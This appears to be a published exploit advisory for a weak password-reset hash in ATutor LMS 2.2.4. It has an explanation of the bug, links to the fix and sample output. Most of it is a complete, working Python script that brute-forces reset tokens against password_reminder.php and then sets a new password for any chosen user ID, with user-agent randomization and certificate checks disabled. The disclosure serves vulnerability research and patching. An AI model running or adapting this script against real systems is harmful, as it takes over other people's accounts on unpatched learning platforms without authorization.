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ATutor LMS 2.2.4 Weak Password Reset Hash

ATutor LMS 2.2.4 Weak Password Reset Hash
Posted May 5, 2020
Authored by Hodorsec

ATutor LMS version 2.2.4 suffers from having a weak password reset hash.

tags | exploit
SHA-256 | 695d43c107bcbb8c5b7a5b23041b58961922c09223a6f7f84fa51fde122cb2f4

ATutor LMS 2.2.4 Weak Password Reset Hash

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# Exploit Title:    ATutor LMS 2.2.4 - Weak Password Reset Hash
# Date: 2020-05-05
# Exploit Author: Hodorsec
# Version: 2.2.4
# Software Link: https://atutor.github.io/atutor/downloads.html
# Vendor Homepage: https://atutor.github.io
# Tested on: Debian 10 x64 - PHP 7.3.15-3

# Problem:
# While the original intention of the program was to probably concatenate strings as indicated for the $hash value, this doesn't happen.
# Instead, due to the left-associativity of the "+" operator, the integers of "id" and "g" are added first.
# Lastly, the password gets added as integer as well via the "h" SHA1 hashed password, while a SHA1 password doesn't consist of only integers.
#
# Analysis:
# During analysis, it appeared ONLY the first readable numeric digits are added from the SHA1 hash.
# Numeric digits at the beginning of a random SHA1 string, are being added to the variables "id" and "h".
# This might have an impact on many requests, if a large numeric prefix is used in a SHA1 hash.
#
# Vulnerability:
# A valid user ID, the UNIX Epoch in days of maximum +2 and a generated number would be sufficient to generate valid hash bits.
# The hash bits could be attempted to send to the webserver, and if the content contains a valid "change your password" dialog, the attack was successful.
#
# Impact:
# This means any malicious attacker could modify the password of every user, issueing a maximum of 100 requests per user ID.
#
# Fix:
# Appears to be already fixed on the Master branch on Github, however: the 2.2.4 "tar.gz" still contains the unfixed version of "password_reminder.php"
#
# Github details:
# https://github.com/atutor/ATutor/issues/177
# https://github.com/atutor/ATutor/commit/557dc83071ec36c5ca22a1ea08d57778283905ca
#
# Reproduction:
# EXAMPLE
# $ python3 poc_atutor_2.2.4_iterate_hashbits.py http 192.168.252.13 80 /ATutor 1 2 password
# [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=6d520a1dabb8ae6
# [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=c3300a342a267a4
# [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=cd255501ba0a052
# [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=1a9df2a3fad2f0c
# [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=1450a1414a4107e
# [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=83618d638c3b1fa
#
# [*] SUCCESS: Hashbit 83618d638c3b1fa allows changing password for user ID 1 using 18385 for Epoch days
# [*] Used 6 number of requests
#
# [*] Changing password...
# [*] Password changed successfully!

#!/usr/bin/python3
import hashlib,string,itertools,re,sys
import requests
import urllib3
import os
import time
import sys
from random_useragent.random_useragent import Randomize # Randomize useragent

# Optionally, use a proxy
# proxy = "http://<user>:<pass>@<proxy>:<port>"
proxy = ""
os.environ['http_proxy'] = proxy
os.environ['HTTP_PROXY'] = proxy
os.environ['https_proxy'] = proxy
os.environ['HTTPS_PROXY'] = proxy

# Disable cert warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Set timeout
timeout = 3

# URL
urlpage = "/password_reminder.php"

# Handle CTRL-C
def keyboard_interrupt():
"""Handles keyboardinterrupt exceptions"""
print("\n\n[*] User requested an interrupt, exiting...")
exit(1)

# Set optional headers
def http_headers():
# Randomize useragent
useragent = Randomize().random_agent('desktop', 'windows')
# HTTP Headers. Might need modification for each webapplication
headers = {
'User-Agent': useragent,
}
return headers

def gen_code(id, epoch_day, digits):
""" Generate a hash_bit, substring of a SHA1 hash based on 'id', 'g' (epoch day) and SHA1 raw-hashed password
94 $hash = sha1($_REQUEST['id'] + $_REQUEST['g'] + $row['password']);
95 $hash_bit = substr($hash, 5, 15); """
codes = []
chars = range(0,10 ** digits) # Range of numeric digits to use for guessing the SHA1 prefix
for num in chars:
to_hash = str(id + epoch_day + num) # Only checks on the first set of numeric occurences in the SHA1 hash
hash_bit = hashlib.sha1(to_hash.encode()).hexdigest()[5:5+15] # Hash it, Python equivalent of PHP substr(5,15)
codes.append(hash_bit) # Add the hashbit to the array for testing later on
return codes

def iterate_hashbits(method, host, port, prefix, id, digits):
""" Set epochs with a maximum of today + 2
75 //check if expired
76 $current = intval(((time()/60)/60)/24);
77 $expiry_date = $_REQUEST['g'] + AT_PASSWORD_REMINDER_EXPIRY; //2 days after creation """
current_epoch_days = int(((int(time.time()) / 60) / 60) / 24) # Calculate current Epoch in days
max_epoch_days = int(current_epoch_days + 2) # Maximum Epoch in days, as hardcoded by Atutor

# Set initial variables
headers = http_headers() # Reuse the static headers, due to odd behaviour of Atutor changing user-agent between requests
txt_pass_change = "Enter a new password for your account" # Text to check later if attempt was successfull
count = 0

# Iterate between today and today + 2
# Iteration of hashbits
for epoch_day in range(current_epoch_days, max_epoch_days + 1): # Add one to include stop value for range
codes = gen_code(id, epoch_day, digits)
for code in codes:
url = method + "://" + host + ":" + port + prefix + urlpage + "?id=" + str(id) + "&g=" + str(epoch_day) + "&h=" + code
print("[*] Issueing password change requests to URL: " + url)

try:
r = requests.get(url, allow_redirects=False, headers=headers, verify=False, timeout=timeout)
count += 1
except requests.exceptions.Timeout:
print("[!] Timeout error\n")
except requests.exceptions.TooManyRedirects:
print("[!] Too many redirects\n")
except requests.exceptions.ConnectionError:
print("[!] Not able to connect to URL\n")
except requests.exceptions.RequestException as e:
print("[!] " + e)
except requests.exceptions.HTTPError as e:
print("[!] Failed with error code - " + e.code + "\n")
except KeyboardInterrupt:
keyboard_interrupt()

if txt_pass_change in r.text:
print("\n[*] SUCCESS: Hashbit " + code + " allows changing password for user ID " + str(id) + " using " + str(epoch_day) + " for Epoch days")
print("[*] Used " + str(count) + " number of requests\n")
return [code, epoch_day]
elif int(r.status_code) != 200:
print("\n[!] FAIL: " + url + " doesn't seem to respond correctly.\n")
exit(-1)
print("\n[!] FAIL: Code not found, something went wrong.\n")
exit(-1)

def change_pass(method, host, port, prefix, id, code, epoch_day, password):
""" Set a new password with a valid hashbit as code
97 if ($_REQUEST['h'] !== $hash_bit) {
98 $msg->addError('INVALID_LINK');
99 } else if (($_REQUEST['h'] == $hash_bit) && !isset($_POST['form_change'])) {
100 $savant->assign('id', $_REQUEST['id']);
101 $savant->assign('g', $_REQUEST['g']);
102 $savant->assign('h', $_REQUEST['h']);
103 $savant->display('password_change.tmpl.php');
104 }
"""
print("[*] Changing password...")
headers = http_headers()
url = method + "://" + host + ":" + port + prefix + urlpage
sha1_pass = hashlib.sha1(password.encode()).hexdigest()
post_data = {'form_change':'true',
'id':str(id),
'h':code,
'g':str(epoch_day),
'form_password_hidden':sha1_pass,
'submit':'Submit'}

try:
r = requests.post(url, data=post_data, headers=headers, verify=False, timeout=timeout)
except requests.exceptions.Timeout:
print("[!] Timeout error\n")
except requests.exceptions.TooManyRedirects:
print("[!] Too many redirects\n")
except requests.exceptions.ConnectionError:
print("[!] Not able to connect to URL\n")
except requests.exceptions.RequestException as e:
print("[!] " + e)
except requests.exceptions.HTTPError as e:
print("[!] Failed with error code - " + e.code + "\n")
except KeyboardInterrupt:
keyboard_interrupt()

if 'changed' in r.text:
print("[*] Password changed successfully!\n")
exit(1)
else:
print("[!] Something went wrong changing password.\n")
exit(-1)

def main():
if len(sys.argv) != 8:
print("[+] Usage: " + sys.argv[0] + " <http/https> <host> <port> <url_prefix> <user_id> <digits> <password>\n")
print("[+] Eg: " + sys.argv[0] + " http 192.168.11.1 80 /ATutor 1 2 Password12345")
print("[+] Eg: " + sys.argv[0] + " https yourlocalserver.local 443 / 3 4 Someotherpassword\n")
print("[+] Use the <digits> parameters with caution due to possible excessive amounts of requests, uses 'digit ^ 10' amount of requests. Value 2 would be a nice value to start with.\n")
exit(-1)

# Set variables
method = str(sys.argv[1])
host = str(sys.argv[2])
port = str(sys.argv[3])
url_prefix = str(sys.argv[4])
id = int(sys.argv[5])
digits = int(sys.argv[6])
password = str(sys.argv[7])

# Iterate through bits of hashes
code_epoch = iterate_hashbits(method, host, port, url_prefix, id, digits)
code = code_epoch[0]
epoch_day = code_epoch[1]
change_pass(method, host, port, url_prefix, id, code, epoch_day, password)

if __name__ == "__main__":
main()

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